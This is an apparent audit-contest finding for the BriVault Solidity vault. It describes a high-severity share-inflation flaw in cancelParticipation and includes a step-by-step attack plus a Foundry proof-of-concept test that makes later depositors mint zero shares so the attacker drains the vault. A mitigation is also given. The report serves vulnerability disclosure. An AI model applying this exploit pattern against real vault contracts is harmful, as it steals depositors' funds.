BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

First depositor can burn shares with zero refund amount to inflate the conversion rate.

First depositor can burn shares with zero refund amount to inflate the conversion rate.

Description

  • The cancelParticipation function has a critical vulnerablility where a first depositor can burn shares with a zero refund amount, this effectively inflates the conversion rate that the next depositors will deposit but mint zero shares hence donating the deposit amount to the vault balance. As more users deposit, the conversion rate is further inflated to the extent that even large deposits mint zero shares.


    The attacker can exploit this vulnerability by:

    1. First user deposits

    2. Sends shares received minus 1 wei to another address they control

    3. Joins event

    4. Cancel the participation from the other wallet

    5. Now donates to vault to inflate conversion rate further

    6. Victims deposit after price has been inflated, more deposits that mint zero shares further inflate conversion rate
      up to a point where even whale deposits receive zero shares

    7. At this point, the deposit balance is huge and backed by 1 share which belongs to the attacker

    8. Attacker takes all the winnings, netting massive profits.

Risk

Likelihood:

This happens when a user transfers shares received minus 1 wei to another address they control and then cancel perticipation.

Impact:

  • High

    • Attacker drains the vault of all the assets.

    • Other users even when they win, mint zero shares and can not withdraw anything.

Proof of Concept

Add this test to briVault.t.sol and run forge test --mt testBypassBurnShares -vvvv

function setUp() public {
participationFeeBsp = 150; // 1.5%
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
participationFeeAddress = makeAddr("participationFeeAddress");
minimumAmount = 0.0002 ether;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(owner, 20 ether);
mockToken.mint(user1, 20 ether);
mockToken.mint(user2, 20 ether);
mockToken.mint(user3, 20 ether);
mockToken.mint(user4, 20 ether);
mockToken.mint(user5, 20 ether);
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)), // replace `address(0)` with actual _asset address
participationFeeBsp,
eventStartDate,
participationFeeAddress,
minimumAmount,
eventEndDate
);
briVault.approve(address(mockToken), type(uint256).max);
// Admin sets countries
briVault.setCountry(countries);
vm.stopPrank();
}
function testBypassBurnShares() public {
address user = makeAddr("user");
address anotherAddress = makeAddr("anotherAddress");
mockToken.mint(user, 1000 ether);
mockToken.mint(anotherAddress, 4000 ether);
// User deposits
vm.startPrank(user);
mockToken.approve(address(briVault), 1000 ether);
uint256 shares = briVault.deposit(1000 ether, user);
// Sends shares to another address they control
briVault.transfer(anotherAddress, shares - 1 wei);
// Joins event
briVault.joinEvent(5);
vm.stopPrank();
// Cancel the participation from the other wallet
// This bypasses the burning of shares to inflate conversion rate
vm.startPrank(anotherAddress);
briVault.cancelParticipation();
// Now donates to vault to inflate conversion rate further
mockToken.transfer(address(briVault), 4000 ether);
vm.stopPrank();
// Victims deposit after price has been inflated
// More deposits that mint zero shares further inflate conversion rate
// up to a point where even whales receive zero shares
uint256 mintAmount = 5_000 ether;
address[] memory victims = new address[](20);
for (uint8 i; i < victims.length; ++i) {
victims[i] = makeAddr("0x12dudGFt9");
mockToken.mint(victims[i], mintAmount);
vm.startPrank(victims[i]);
mockToken.approve(address(briVault), type(uint256).max);
briVault.deposit(mintAmount, victims[i]);
briVault.joinEvent(5); // Does not matter even if they win
vm.stopPrank();
}
// Another user tries to deposit
address victim = makeAddr("victim");
uint256 amount = 100_000 ether;
mockToken.mint(victim, amount);
vm.startPrank(victim);
mockToken.approve(address(briVault), amount);
uint256 victimShares = briVault.deposit(amount, victim);
briVault.joinEvent(5);
vm.stopPrank();
// Warp the time for the event to start
vm.warp(block.timestamp + 2 days + 1 seconds);
// Warp the time for the event to end
vm.warp(block.timestamp + 31 days);
// Admin sets the winner
vm.startPrank(owner);
briVault.setWinner(5);
vm.stopPrank();
uint256 depositBalance = mockToken.balanceOf(address(briVault));
uint256 shareSupply = briVault.totalSupply();
// Deposit balance is huge and backed by 1 share
console2.log("Deposit balance: ", depositBalance);
// Attacker takes all the winnings, netting massive profits
console2.log("Share total supply: ", shareSupply);
// Attacker withdraws winnings
// 349735,000,000,000,000,000,000 ~ 349_735 ether
vm.startPrank(user);
briVault.withdraw();
vm.stopPrank();
}

Recommended Mitigation

  • In the cancelParticipation function, ensure the number of shares to burn corresponds to the amount of assets being refunded.

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!